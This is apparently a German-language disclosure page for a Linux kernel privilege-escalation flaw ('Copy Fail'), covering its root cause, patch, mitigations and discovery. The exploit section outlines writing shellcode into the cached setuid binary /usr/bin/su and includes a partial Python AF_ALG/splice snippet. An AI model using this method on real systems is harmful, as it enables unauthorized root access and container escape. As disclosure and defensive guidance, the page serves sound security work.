CVE-2026-31431 — Copy Fail

732 Bytes. Jede Distribution. Root.

Ein geradliniger Logikfehler in der kryptografischen Vorlage authencesn des Linux-Kernels ermöglicht einem nicht privilegierten lokalen Benutzer einen präzisen, kontrollierten 4-Byte-Schreibzugriff in den Page Cache einer beliebigen lesbaren Datei — einschließlich setuid-Binaries. Keine Race Conditions. Keine Wiederholungen. Keine Neukompilierung. Root auf jeder großen Linux-Distribution, die seit 2017 ausgeliefert wurde.

📄 Technischer Bericht  ·  🔗 Kernel-Patch  ·  🛡️ CVSS: Kritisch

Getestete Distributionen

Alle vier wurden mit dem identischen 732-Byte-Python-Skript ohne Änderungen kompromittiert.

Was dies anders macht

Grundursache

Der Aufbau: Page-Cache-Seiten in einer beschreibbaren Scatterlist

AF_ALG stellt das kryptografische Subsystem des Kernels nicht privilegiertem Userspace zur Verfügung. splice() überträgt Dateidaten per Referenz in eine Pipe — Page-Cache-Seiten werden direkt durchgereicht, ohne Kopie. Wenn ein Benutzer eine Datei in einen AF_ALG-AEAD-Socket spliced, enthält die Eingabe-Scatterlist des Sockets Live-Referenzen auf die gecachten Seiten der Datei im Kernel.

In algif_aead.c kopierte die In-Place-Optimierung von 2017 AAD und Chiffretext aus der TX-Scatterlist in den RX-Puffer, verknüpfte die Authentifizierungs-Tag-Seiten jedoch per Referenz mit sg_chain() und setzte dann req->src = req->dst:

Eingabe-SGL:  [ AAD | CT | Tag ]
                              ^
                              └─ sg_chain() → zeigt weiterhin auf Page-Cache-Seiten

Ausgabe-SGL:  [ AAD | CT ] ──→ [ Tag (Page-Cache-Seiten) ]
              (RX-Puffer)       (aus TX-SGL verknüpft)

req->src ──┐
           ├──→ gleiche kombinierte Scatterlist
req->dst ──┘

Page-Cache-Seiten aus splice() befanden sich nun in einer beschreibbaren Ziel-Scatterlist, getrennt vom legitimen Schreibbereich nur durch eine Offset-Grenze. Nichts in der API erzwingt, dass Algorithmen innerhalb der Grenzen bleiben.

Der Auslöser: authencesns Out-of-Bounds-Scratch-Schreibzugriff

authencesn ist ein AEAD-Wrapper, der von IPsec für die Unterstützung von 64-Bit-Erweiterten Sequenznummern (ESN) verwendet wird. Um ESN-Bytes für die HMAC-Berechnung neu anzuordnen, verwendet es den Zielpuffer des Aufrufers als Scratch-Speicher — einschließlich eines Schreibzugriffs bei Offset assoclen + cryptlen, der jenseits der Authentifizierungs-Tag-Grenze liegt:

scatterwalk_map_and_copy(tmp,     dst, 0,                       8, 0); // AAD[0..7] lesen
scatterwalk_map_and_copy(tmp,     dst, 4,                       4, 1); // dst[4..7] überschreiben
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen,     4, 1); // ← schreibt über das Tag hinaus

Der dritte Aufruf schreibt 4 Bytes (seqno_lo) bei dst[assoclen + cryptlen]. Im In-Place-AF_ALG-Pfad überquert der Scatterwalk die Grenze vom RX-Puffer in die verknüpften Page-Cache-Tag-Seiten. Der Kernel mappt die Page-Cache-Seite über kmap_local_page und schreibt direkt in die gecachte Kopie der Zieldatei.

Der HMAC schlägt dann fehl (der Chiffretext ist fabriziert), recvmsg() gibt einen Fehler zurück — aber der 4-Byte-Schreibzugriff bleibt dauerhaft bestehen.

Die drei vom Angreifer kontrollierten Variablen

Wie es dazu kam: Eine Neun-Jahres-Kette

Keine einzelne Änderung war für sich genommen falsch. Die Schwachstelle liegt an der Schnittstelle aller drei.

Exploit

Das Standardziel ist /usr/bin/su, eine setuid-root-Binary, die auf allen getesteten Distributionen vorhanden ist.

Schritt 1 — Socket-Einrichtung
  AF_ALG-Socket öffnen, an authencesn(hmac(sha256),cbc(aes)) binden
  Schlüssel setzen. Request-Socket akzeptieren. (Keine Privilegien erforderlich.)

Schritt 2 — Schreibschleife (einmal pro 4-Byte-Shellcode-Chunk)
  sendmsg()  →  AAD-Bytes [4:8] tragen die 4 zu schreibenden Bytes (seqno_lo)
  splice()   →  Page-Cache-Seiten der Zieldatei in den AF_ALG-Socket
  recv()     →  löst decrypt aus → authencesn schreibt seqno_lo in den Page Cache
               (recvmsg gibt einen Fehler zurück; der Schreibzugriff bleibt bestehen)

Schritt 3 — Ausführung
  execve("/usr/bin/su")
  Kernel lädt die Binary aus dem (nun beschädigten) Page Cache
  Setuid-root-Binary führt injizierten Shellcode aus → UID 0

a = socket.socket(38, 5, 0)                          # AF_ALG, SOCK_SEQPACKET
a.bind(("aead", "authencesn(hmac(sha256),cbc(aes))"))
# ... Schlüssel setzen, Request-Socket u akzeptieren ...
u.sendmsg([b"A"*4 + payload_chunk], [cmsg_headers], MSG_MORE)
os.splice(target_fd, pipe_wr, offset)
os.splice(pipe_rd, alg_fd, offset)
u.recv(...)                                          # löst Page-Cache-Schreibzugriff aus

Abhilfe

Dauerhafte Lösung

Aktualisieren Sie auf einen Kernel mit Patch a664bf3d603d. Der Fix stellt algif_aead.c auf Out-of-Place-Betrieb zurück: req->src zeigt auf die TX-SGL; req->dst zeigt auf den RX-Puffer. Page-Cache-Seiten aus splice() bleiben nur lesbar. Der sg_chain()-Mechanismus, der sie in die beschreibbare Ziel-Scatterlist verknüpfte, wird entfernt.

// Vorher (verwundbar): src und dst teilen sich dieselbe Scatterlist
aead_request_set_crypt(&areq->cra_u.aead_req, rsgl_src, rsgl_src, used, ctx->iv);

// Nachher (behoben): src ist TX-SGL, dst ist RX-Puffer — vollständig getrennt
aead_request_set_crypt(&areq->cra_u.aead_req, tsgl_src, rsgl_dst, used, ctx->iv);

Sofortige Abschwächung

Deaktivieren Sie das Kernel-Modul algif_aead:

echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif-aead.conf
rmmod algif_aead 2>/dev/null

Oder blockieren Sie die Erstellung von AF_ALG-Sockets über eine seccomp-Richtlinie in Ihren Workload-Profilen.

Hinweis für Container-Umgebungen: Da der Page Cache über den Host hinweg geteilt wird, überschreitet diese Schwachstelle Container-Grenzen. Wenden Sie Abschwächungen auf Knotenebene an, nicht nur pro Pod. Vollständige Details zum Kubernetes-Escape finden Sie in Teil 2.

Zeitplan der koordinierten Offenlegung

Entdeckung

Der Theori-Forscher Taeyang Lee identifizierte durch frühere kernelCTF-Arbeiten, dass AF_ALG + splice() einen Pfad schafft, über den nicht privilegierter Userspace Page-Cache-Seiten direkt in das kryptografische Subsystem einspeisen kann — und dass die Herkunft von Scatterlist-Seiten eine unzureichend erforschte Schwachstellenklasse darstellt.

Das Forschungsteam nutzte Xint Code, um diese Erkenntnis auf das gesamte crypto/-Subsystem mit folgendem Operator-Prompt zu skalieren:

"Dies ist das Linux-crypto/-Subsystem. Bitte untersuchen Sie alle Codepfade, die von Userspace-Syscalls aus erreichbar sind. Beachten Sie eine Schlüsselbeobachtung: splice() kann Page-Cache-Referenzen von nur lesbaren Dateien (einschließlich setuid-Binaries) an kryptografische TX-Scatterlists liefern."

Nach etwa einer Stunde automatisierter Analyse war Copy Fail das Ergebnis mit der höchsten Schwere. Weitere während desselben Scans entdeckte Schwachstellen befinden sich weiterhin in koordinierter Offenlegung.

Teil 2: Vom Pod zum Host — wie Copy Fail jede große Cloud-Kubernetes-Plattform verlässt. Bald verfügbar.